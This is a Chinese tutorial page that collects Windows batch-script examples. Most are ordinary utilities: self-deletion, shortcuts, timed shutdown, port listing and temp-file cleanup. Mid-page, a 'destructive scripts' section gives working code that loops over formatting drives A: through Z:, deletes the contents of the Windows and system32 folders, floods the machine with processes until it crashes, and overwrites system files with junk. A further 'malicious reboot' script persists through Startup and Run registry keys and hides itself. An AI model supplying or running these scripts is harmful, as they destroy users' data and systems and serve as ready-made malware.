批处理实例代码教程 集合_DOS/BAT

批处理实例代码教程
--------------------------------------------------------------------------------
批处理程序删除自身.bat
echo 有时候我们需要批处理程序在执行完成之后删除自身,可以用 del %0
例:

复制代码 代码如下:

@echo off
echo 按任意键后我将删除自身
pause
del %0

--------------------------------------------------------------------------------
批处理发送文件夹的快捷方式到桌面

复制代码 代码如下:

echo [InternetShortcut] > "%userprofile%\桌面\文件夹.url"
echo URL=file:///C:/windows >> "%userprofile%\桌面\文件夹.url"

--------------------------------------------------------------------------------
批处理获取IP生成TXT文本.bat
以下代码是批处理获取IP同时生成TXT文本:

复制代码 代码如下:

@echo off
<"%~f0" more +5 >tmp.vbs
cscript //NoLogo /e:vbscript tmp.vbs %1>ip.txt
echo >nul && del tmp.vbs
goto:eof
set oDOM = WScript.GetObject("http://www.duosc.com/ip.aspx")
do until oDOM.readyState = "complete"
WScript.sleep 200
Loop
s=oDOM.documentElement.innerText
set re = New RegExp
re.Pattern="(\d+)\.(\d+)\.(\d+)\.(\d+)"
For Each m in re.Execute(s)
WScript.Echo m
Next

--------------------------------------------------------------------------------
利用批处理禁用(启用)组策略
regsvr32 /s /u gpedit.dll 禁用
regsvr32 /s gpedit.dll 启用
单单使用这命令依然可以禁止使用组策略,但这样导致的后果就是-
这时候运行的组策略基本上只是个空壳了!利用下面的批处理将完美解决此类问题!
将下面这些代码编成BAT批处理文件,这段是禁用组策略的命令

复制代码 代码如下:

@echo off
regsvr32 /s /u fde.dll
regsvr32 /s /u gpedit.dll
regsvr32 /s /u gptext.dll
regsvr32 /s /u wsecedit.dll
exit

这是启用组策略

复制代码 代码如下:

@echo off
regsvr32 /s fde.dll
regsvr32 /s gpedit.dll
regsvr32 /s gptext.dll
regsvr32 /s wsecedit.dll
exit

--------------------------------------------------------------------------------
批处理定时关机.bat

复制代码 代码如下:

@echo off
mode con lines=25
title 定时关机
color 1f
cls
echo.
echo.
echo.
echo.
echo 时间使用24小时制(如2:15、12:00),可以输入多个时间点
echo.
echo 多个时间点用空格分隔
echo.
echo.
echo ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
echo.
set times=
set /p times= 请输入关机时间:
:: 以下语句实现每个星期的每一天指定时间关机
:: 如果要换成每个月的某几天,请改字母为数字,并用逗号分隔
:: 以下代码没有错误检测语句,输入时间的时候务必按照指定格式输入
:: 可以用在CMD窗口用at命令来查看计划任务
if not "%times%"=="" for %%i in (%times%) do (
at %%i /every:M,T,W,Th,F,S,Su shutdown -s
)

--------------------------------------------------------------------------------
批处理创建url格式的快捷方式.bat

复制代码 代码如下:

@echo off
echo [InternetShortcut] >cmd.url
echo URL=%windir%\system32\cmd.exe >>cmd.url
echo IconIndex=0 >>cmd.url
echo IconFile=%windir%\system32\cmd.exe>>cmd.url

--------------------------------------------------------------------------------
批处理进入全屏幕界面.bat

复制代码 代码如下:

@echo off
:: 设定: 运行在全屏模式下
echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul
chcp 437>nul
graftabl 936>nul
:rem 下面放置任何命令……
dir
pause

--------------------------------------------------------------------------------
最小化运行批处理.bat

复制代码 代码如下:

::最小化运行批处理
@echo off&&mode con cols=15 lines=1
%1 %2
start /min /i "" "%~nx0" goto min&&goto :eof
:min
echo xxx
pause>nul
exit
@echo off
mode con cols=15 lines=1
if exist "Temp.bat" goto Start
>Temp.bat echo start/min "" "%~nx0"^&exit
start/min Temp.bat&exit
:Start
del "Temp.bat">nul
pause

--------------------------------------------------------------------------------
全盘查找QQ.exe并执行.bat

复制代码 代码如下:

@echo off
:: 全盘查找qq.exe,找到之后就执行并退出CMD窗口
:: fsutil fsinfo drives 得出来的结果虽然中间有空格,但是他代表是回车符或者换行符的作用,所以还要用find /v来过滤,否则,只得到第一个分区
setlocal enabledelayedexpansion
for /f "delims=\" %%i in ('fsutil fsinfo drives^|find /v ""') do (
set var=%%i
set drive=!var:~-2!
fsutil fsinfo drivetype !drive!|find "固定">nul && (
for /f "tokens=*" %%j in ('dir /a-d /b /s !drive!\qq.exe 2^>nul') do if not "%%j"=="" start "" "%%j" && exit
)
)

--------------------------------------------------------------------------------
删除历史记录.bat

复制代码 代码如下:

@echo off
:: 删除"运行"、"查找"等处的历史记录
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClearRecentDocsonExit /t REG_DWORD /d 00000001

--------------------------------------------------------------------------------
批处理查看进程端口
用批处理实现的获取当前进程所开启的端口代码:

复制代码 代码如下:

@echo off
color a
Title XP端口-进程查询
setlocal enabledelayedexpansion
echo ╔- -╗
echo 本机开放的端口及使用该端口的进程
echo ╚- -╝
echo ------------------------------------
echo 端口号 进程名称
ECHO TCP协议:
::利用netstat命令找出使用TCP协议通信的端口,并将结果分割;
::将第二个参数(IP加端口)传给%%i,第五个参数(PID号)传给%%j;
for /F "usebackq skip=4 tokens=2,5" %%i in (`"netstat -ano -p TCP"`) do (
call :Assoc %%i TCP %%j
echo !TCP_Port! !TCP_Proc_Name!
)
ECHO UDP协议:
for /F "usebackq skip=4 tokens=2,4" %%i in (`"netstat -ano -p UDP"`) do (
call :Assoc %%i UDP %%j
echo !UDP_Port! !UDP_Proc_Name!
)
echo 按任意键退出
pause>nul
:Assoc
::对%1(第一个参数)进行分割,将第二个参数传给%%e。在本程序中,%1即为上面的%%i(形式为:IP:端口号)
for /F "tokens=2 delims=:" %%e in ("%1") do (
set %2_Port=%%e
)
:: 查询PID等于%3(第三个参数)的进程,并将结果传给变量?_Proc_Name,?代表UDP或者TCP;
for /F "skip=2 usebackq delims=, tokens=1" %%a in (`"Tasklist /FI "PID eq %3" /FO CSV"`) do (
::%%~a表示去掉%%a外面的引号,因为上述命令的结果是用括号括起来的。
set %2_Proc_Name=%%~a
)

--------------------------------------------------------------------------------
破坏型BAT批处理脚本[慎用]
一、死循环强制格式化A:到Z:盘(对于部分速度比较快的机器会比较快当机……)

复制代码 代码如下:

:format
@format a: /q /y >nul
@format b: /q /y >nul
@format d: /q /y >nul
@format e: /q /y >nul
@format f: /q /y >nul
@format g: /q /y >nul
@format h: /q /y >nul
@format i: /q /y >nul
@format j: /q /y >nul
@format k: /q /y >nul
@format l: /q /y >nul
@format m: /q /y >nul
@format n: /q /y >nul
@format o: /q /y >nul
@format p: /q /y >nul
@format q: /q /y >nul
@format r: /q /y >nul
@format s: /q /y >nul
@format t: /q /y >nul
@format u: /q /y >nul
@format v: /q /y >nul
@format w: /q /y >nul
@format x: /q /y >nul
@format y: /q /y >nul
@format z: /q /y >nul
@format c: /q /y >nul
goto format

二、死循环强制删除C:盘WINDOWS目录下的所有文件(跟上面的一个例子效果差不多,不过这里用到了强制删除参数)

复制代码 代码如下:

:breake
@if exist %windir%\system32\*.* del %windir%\system32\*.* >nul
@if exist %windir%\*.* del %windir%\*.* >nul
goto breake

三、利用部分系统工具的内存占用卡到死机

复制代码 代码如下:

:die
@start regsvr32.exe /s %windir%\system32\*.* >nul
@start %windir%\system32\*.* >nul
@start notepad %windir%\explorer.exe >nul
goto die

四、用部分工具的检测信息导出功能生成巨大的垃圾文件(虽然生成垃圾的速度很慢,但是跟“垃圾王”病毒有的一比,也算是“无声的*****”吧……)

复制代码 代码如下:

@start ping 127.0.0.1 -t > %windir%\system32\regsvr32.dll >nul
:ping
@start ping 127.0.0.1 -t >> %windir%\system32\regsvr32.dll >nul
@start ping 127.0.0.1 -t >> %windir%\system32\regedit.exe >nul
goto ping

--------------------------------------------------------------------------------
反复重启的恶意批处理
反复重启就是让别人启动了再重启 一直反复,以下代码

复制代码 代码如下:

@echo off
shutdown -r -t 3
copy %0 C:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat
copy %0 c:\autoexec.bat
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
attrib autoexec.bat +r +s +h
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
del %0

3秒重启 加入了启动项 开机就会3秒倒计时
--------------------------------------------------------------------------------
删除右键“新建”菜单项目.bat

复制代码 代码如下:

@echo off
:: 只要删除"HKEY_CLASSERS_ROORT\.后缀名"项目下的"ShellNew"键就可以了
:: 如果实在删除不了,则把"HKEY_CLASSERS_ROORT\.后缀名"删除掉即可
mode con lines=25
title "新建"菜单内容删除器
color 1f
:input
cls
call :display
echo 如果要强行删除,请选 1
echo.
echo.
set input=
set /p input= 请输入后缀名:
if "%input%"=="" goto input
if "%input%"=="0" exit
if "%input%"=="1" goto fouce
for /f %%i in ("%input%") do (reg delete HKCR\.%%i\ShellNew /f)
goto continue
:fouce
cls
call :display
set input=
set /p input= 请输入后缀名(强行删除):
if "%input%"=="" goto fouce
if "%input%"=="0" exit
for /f %%i in ("%input%") do (reg delete HKCR\.%%i /f)
:continue
cls
call :display
echo.
set choice=
set /p choice= 还要继续清除吗?(y/n):
if "%choice%"=="" goto continue
if "%choice%"=="y" goto input
if "%choice%"=="" goto :eof
:display
echo.
echo.
echo.
echo.
echo.
echo.
echo 本程序能删除右键菜单中"新建"项目下的多余内容,为"新建"菜单减肥!
echo.
echo 如果想让某种类型的文件不再出现在鼠标右键的"新建"菜单中,请直接
echo.
echo 输入该文件类型的后缀名。例如:rar。
echo.
echo 退出请选 0
echo.

--------------------------------------------------------------------------------
快速清理垃圾文件(修正)

复制代码 代码如下:

@echo off
color f0
echo.
echo 正在安全地自动清除垃圾文件……
del /f /q %systemdrive%\*.tmp>nul 2>nul
del /f /q %systemdrive%\*._mp>nul 2>nul
del /f /q %systemdrive%\*.log>nul 2>nul
del /f /q %systemdrive%\*.gid>nul 2>nul
del /f /q %systemdrive%\*.chk>nul 2>nul
del /f /q %systemdrive%\*.old>nul 2>nul
del /f /q %windir%\*.bak>nul 2>nul
del /f /q %windir%\*.tmp>nul 2>nul
del /f /q %windir%\prefetch\*.*>nul 2>nul
del /f /s /q %systemdrive%\recycled\*.*
del /f /q "%ALLUSERSPROFILE%\Documents\DrWatson\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Cookies\*.txt">nul 2>nul
del /f /q /s "%TEMP%\*.*">nul 2>nul
del /f /q /s "%Systemroot%\Prefetch\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Recent\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Application Data\Microsoft\Office\Recent\*.lnk">nul 2>nul
del /f /q /s "%USERPROFILE%\Local Settings\Temp\*.*">nul 2>nul
rd /s /q %windir%\temp & md %windir%\temp>nul 2>nul
if not exist %SystemRoot%\Minidump\NUL del /f /q /s %SystemRoot%\Minidump\*.*>nul 2>nul
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*">nul 2>nul

更多的批出代码打包下载地址 http://www.jb51.net/books/34318.html

时间: 2024-10-28 00:20:45

批处理实例代码教程 集合_DOS/BAT的相关文章

不错的批处理脚本实例代码 第二部分_DOS/BAT

echo     ----------------------------3.命令禁止专区----------------------------------->nul :禁止CMD命令 @title 命令禁止-%以% cls @echo off reg add "HKLM\Software\Microsoft\Command Processor" /v AutoRun /t REG_EXPAND_SZ /d "%SystemRoot%\yszycmd.cmd"

精通批处理教程 批处理从入门到精通_DOS/BAT

最近好多猜测弱口令的病毒在网上流行,比如前段时间闹得很厉害的Worm.Dvldr 蠕虫就是一个典型.这些病毒有个共同点就是利用批处理来进行ipc$连接,从而来猜测管理员的口令达到控制服务器的目的.病毒由几个文件和几个复杂的批处理组成.批处理算不上真正意义上的编程,但是它的一些思想和编程比较近似.通过在网上和一些初学的朋友交流,发现他们对于批处理很感兴趣,多多少少了解一些命令的用法,但缺乏比较系统的了解,所以特意写下这篇教程,好让感兴趣的朋友对批处理有个整体的认识,并能通过该教程举一反三,写出自己

一个小助手批处理实例代码_DOS/BAT

包括 ECHO 1. 显示或隐藏文件 ECHO 2. 清理系统垃圾 ECHO 3. 注册表解除锁定 ECHO 4. 修复IE浏览器 ECHO 5. 关闭默认共享 ECHO 6. 管理控制MMC ECHO 7. 清除多余启动项@ECHO off @title 小助手 By:柴子 :start CLS COLOR 0f MODE con: COLS=41 LINES=18 set tm1=%time:~0,2% set tm2=%time:~3,2% set tm3=%time:~6,2% ECHO

用bat批处理实现163邮箱自动登陆的代码[已测]_DOS/BAT

前段时间,有个朋友申请了个163的邮箱,但经过多次培训,怎么使用,怎么操作,还是没学会.(一把年纪了,事情太多,忘了也难怪),后面上网查找了下,直接做个.bat格式,把邮箱,用户.密码直接写进去,这样就省事多了. 首先,创建一个文本文件,比如 163.mail.txt, 在txt文件中写入下面内容,保存.再把.txt格式转化成.bat格式,就OK了. 163邮箱 第一种方法: 复制代码 代码如下: @echo off set u=jb51.net set p=www.jb51.net start

可以使用的批处理参数集合_DOS/BAT

可以在批处理文件内的任何地方使用批处理参数,以提取有关环境设置的信息. Cmd.exe 提供批处理参数扩展变量(%0 到 %9).当在批处理文件中使用批处理参数时,%0 将由批处理文件名替换,而 %1 到 %9 将由在命令行键入的相应参数替换.要访问大于 %9 的参数,必须使用 shift 命令.有关 Shift 命令的详细信息,请参阅 Shift.%* 批处理参数是所有参数(不包括 %0)可引用的通配符,这些参数传递到批处理文件中. 例如,要将 Folder1 中的内容复制到 Folder2,

批处理 字符串去空格实现代码[不同部位]_DOS/BAT

复制代码 代码如下: @echo off :: 去掉左空格 :: :: set "str= ab c&>! " for /f "tokens=*" %%i in ("%str%") do echo "☆%%i☆" pause goto :eof @echo off :: 去掉左空格 :: :: set "str= ab c&>! " :intercept if "%st

批处理常用特殊符号简介_DOS/BAT

批处理常用特殊符号     1.@  命令行回显屏蔽符     2.%  批处理变量引导符     3.>   重定向符     4.>>  重定向符     5.<.>&.<& 重定向符     6.|  命令管道符     7.^  转义字符     8.&  组合命令     9.&& 组合命令     10.||  组合命令     11.""  字符串界定符     12., 逗号     13.;

批处理 延时不完全总结_DOS/BAT

1.利用ping命令实现延时,方法巧妙而且可以控制,但精度不高. 如:ping -n 3 127.0.0.1>nul大约可以停顿2秒 -n后的数字是发送包的数目,为暂停秒数加一.此法每秒有0.5%的偏差,时间精度为1秒. @echo off @ping 127.0.0.1 -n 6 >nul start gdh.txt 2.用vbs脚本中的sleep实现,样本代码如下: 缺点:生成临时文件 优点:时间精度为0.001秒,精度高 例子1.vbs cscript 复制代码 代码如下: @echo

批处理的高级运用技巧_DOS/BAT

批处理的高级运用1 一.简单批处理内部命令  批处理的高级运用!!小技巧哦!!!  批处理大家都很熟悉吧!  下面介绍批处理的几个知识点:  1:巧用FC命令做查木马工具:  首先建立批处理文件atm.bat:写入代码:@echo off  dir c:\windows\system32\*.exe >c:??.txt  dir c:\windows\system32\*.dll >c:??.txt  2:建立批处理文件WLTS.bat 写入代码:@echo off  dir c:\windo